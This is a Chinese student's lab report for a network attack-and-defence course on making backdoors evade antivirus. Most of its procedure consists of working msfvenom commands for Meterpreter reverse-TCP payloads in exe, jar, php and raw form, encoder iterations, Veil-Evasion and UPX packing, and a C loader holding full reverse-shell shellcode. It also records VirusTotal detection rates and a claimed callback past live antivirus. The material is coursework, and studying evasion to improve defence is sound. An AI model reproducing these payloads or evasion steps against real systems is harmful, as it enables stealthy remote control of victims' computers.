20192427李睿智 2021-2022-2《网络与系统攻防技术》实验三

20192427 2021-2022-2 《网络与系统攻防技术》实验三

目录:

1,实验内容

1,正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

2,通过组合应用各种技术实现恶意代码免杀
3,用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

2,实验要求

1,掌握免杀原理与技术。

  • 免杀原理:躲开杀毒软件的识别,可以从杀毒软件的原理入手。


杀毒软件的原理:
当前杀毒软件的原理主要有三种:

(1)引擎与病毒库的交互作用,通过特征码提取与病毒库中的特征码进行比对识别病毒。
(2)启发式Heuristic,通过程序的一些行为和特征来判断。
(3)在虚拟机技术上的启发式,通过建立一个虚拟环境运行程序对其进行全方位的检测。

  • 免杀技术:
    (1)改变特征码
    注释:特征码就是一种只在病毒或木马文件内才有的独一无二的特征,它或是一段字符,或是在特定位置调用的一个函数。
    (2)改变行为

2,基础问题回答。

(1)杀软是如何检测出恶意代码的?

①基于特征码检测
如果一个可执行文件包含一段特征码则被认为是恶意代码,过时的特征码库就是没有用的,因此杀毒软件的更新很重要。
②启发式恶意软件检测
如果一个软件干的事通常是恶意软件才会干的,就可从中得到启发,把它看做是恶意软件。
③基于行为的恶意软件检测;相当于是启发式的一种,或者是加入了行为监控的启发式。

(2)免杀是做什么?

免杀就是通过处理恶意软件好让其不被杀毒软件检测出来。

(3)免杀的基本方法有哪些?

①改变特征码;若只有EXE可以通过加壳,包括压缩壳和加密壳来改变特征码。若有shellcode可以用encodde进行编码或者基于payload重新编译生成可执行文件(这次实践尝试过这种方法)。若有源代码,可用其他语言进行重新再编译(veil-evasion)。
②改变行为;通讯方式尽量使用反弹式连接、隧道技术或者加密通讯数据。操作模式最好基于内存操作,减少对系统的修改,加入混淆作用的正常功能代码。③非常规方法;使用社工类攻击,诱骗目标关闭软件。

3,实验过程

3.1 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

本地IP:192.168.200.1
虚拟机IP:192.168.56.101

1,步骤一:利用工具对实验二中生成的后门程序进行检测

图一

如上图所示,后门程序不进行隐藏,大多数杀毒软件都可以检查出来。

2,msfvenom直接生成meterpreter可执行文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.101 LPORT=2427 -f exe > 20192427_msf.exe

图二
将生成的后面文件放在测试网站进行测试结果如下:

图三

70个扫描引擎中有52中把它识别为病毒。以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。很明显识别率挺高的。

3,多次编码生成exe文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.101 LPORT=2427 -f exe > 20192427_msf1.exe

通过迭代10次的方式来生成新的exe文件,代码运行如下:

图四

再次使用VirusTotal工具进行检测,检测结果:68款杀毒软件有54款能够检测出此文件.

图五

4,利用msf编码器生成其他类型的文件,如jar。指令如下:

 msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2427 x > 20192427_msf2.jar

图六
使用VirusTotal工具进行检测,检测结果如下:

图七
5,再生成php文件,指令如下
 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2427 x> 20192427_msf3.php 

运行结果:

图八
检测结果:57款软件中有21款能够检测出此文件

图九

6,安装veli加壳工具

sudo apt-get -y install git
sudo apt-get install libncurses5* 
sudo apt-get install libavutil55* 
sudo apt-get install gcc-mingw-w64* 
sudo apt-get install wine32 
sudo apt-get update
sudo apt-get install veil-evasion
veil

安装结果如下:

图十

正常情况下一路next,然后就按照成功了。

再次输入veil进入如上画面

使用veil生成meterperter
代码如下:

veil
use evasion                 //进入Evil—Evasion
use c/meterpreter/rev_tcp.py    //进入配置界面
set LHOST 192.168.127.134       //设置反弹链接ip,此处为Kali的ip
set LPORT 1326              //设置端口
generate

保存路径为:

/var/lib/veil/output/handlers/20192427lrz.rc

对文件进行检测:检测结果如下:

7,免杀加壳

  • 压缩壳:减少应用体积,如ASPack,UPX
  • 加密壳:版权保护,反跟踪。如ASProtect,Armadillo
  • 虚拟机:通过类似编译手段,将应用指令转换为自己设计的指令集。如 VMProtect, Themida

使用UPX对20192427veil.exe进行加壳

upx 20192427lrz.exe -o 20192427lrz_upx.exe

检测结果如下:

可以看出检出率37/69,看来检测能力很强。

3.2使用C + shellcode编程

使用msfvenom得到shellcode

首先使用msf生成shellcode。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.101 LPORT=2427 -f c

根据生成的shellcode编写的c文件如下:

unsigned char buf[] =                                                                                               
"\xfc\xe8\x8f\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30"                                                      
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff"                                                      
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\x49"                                                      
"\x75\xef\x52\x8b\x52\x10\x57\x8b\x42\x3c\x01\xd0\x8b\x40\x78"                                                      
"\x85\xc0\x74\x4c\x01\xd0\x8b\x48\x18\x50\x8b\x58\x20\x01\xd3"                                                      
"\x85\xc9\x74\x3c\x31\xff\x49\x8b\x34\x8b\x01\xd6\x31\xc0\xc1"                                                      
"\xcf\x0d\xac\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24"                                                      
"\x75\xe0\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"                                                      
"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59"                                                      
"\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xe9\x80\xff\xff\xff\x5d"                                                      
"\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26"                                                      
"\x07\x89\xe8\xff\xd0\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68"                                                      
"\x29\x80\x6b\x00\xff\xd5\x6a\x0a\x68\xc0\xa8\x38\x65\x68\x02"                                                      
"\x00\x09\x7b\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
"\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61"
"\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x67\x00\x00"
"\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83"
"\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a"
"\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57"
"\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x68\x00"
"\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68"
"\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\x0f\x85\x70\xff"
"\xff\xff\xe9\x9b\xff\xff\xff\x01\xc3\x29\xc6\x75\xc1\xc3\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
int main() { int (*func)() = (int(*)())buf; func(); }

编译可执行文件

i686-w64-mingw32-g++ shellcode_c.c -o shellcode_c.exe

对此代码进行检测,检测结果如下:

upx 20192430xzc_shellcode.exe -o 20192430xzc_shellcode1.exe //压缩加壳

3.3 通过组合应用各种技术实现恶意代码免杀

使用veil生成木马文件,执行如下命令

veil
use evasion                 
use 28                      
set LHOST 192.168.56.101      
set LPORT 2427             
generate

再使用upx对生成的20192427lrz_py.exe进行加壳

upx 20192427lrz_py.exe -o 20192427lrz_py_upx.exe

将生成的backdoor_py_upx.exe丢到检测网站上检测.检测结果为检出率有所下降,比之前更加明显

3.4 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

生成raw文件

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b '\x00' lhost=192.168.200.1 lport=2427 -f raw -o 20192427.raw 


在共享文件夹中找到shellcode_launcher.exe -i 20192427.raw 运行生成的文件

再利用杀毒软件,在此目录下进行检测:

检测出的只有恶意代码课上使用的软件。

利用该文件进行反弹连接,通过此文件可以实现反弹连接

4,问题以及解决方案

问题一
所需要的空间不够用

解决方法:扩容

问题二

解决方法:询问舍友得知解决方案如下:

dpkg --add-architecture i386
apt-get update
apt-get install wine32

问题三

解决方法:不够仔细,不够细心,重新输入代码命令。

5,实验感想

在本次实验中,掌握了更多种后门程序的生成方法,以及掌握杀软是如何检测到恶意软件的原理,学会把后门程序免杀化,通过各种的尝试使自己的后门程序更加完善。
开启杀软能绝对防止电脑中恶意代码很明显,在实践中就能发现事实上杀软并不能绝对防止电脑中恶意代码,恶意软件能通过各种方式试图绕过杀软。

posted @ 2022-04-10 20:54  20192427李睿智  阅读(61)  评论(0编辑  收藏  举报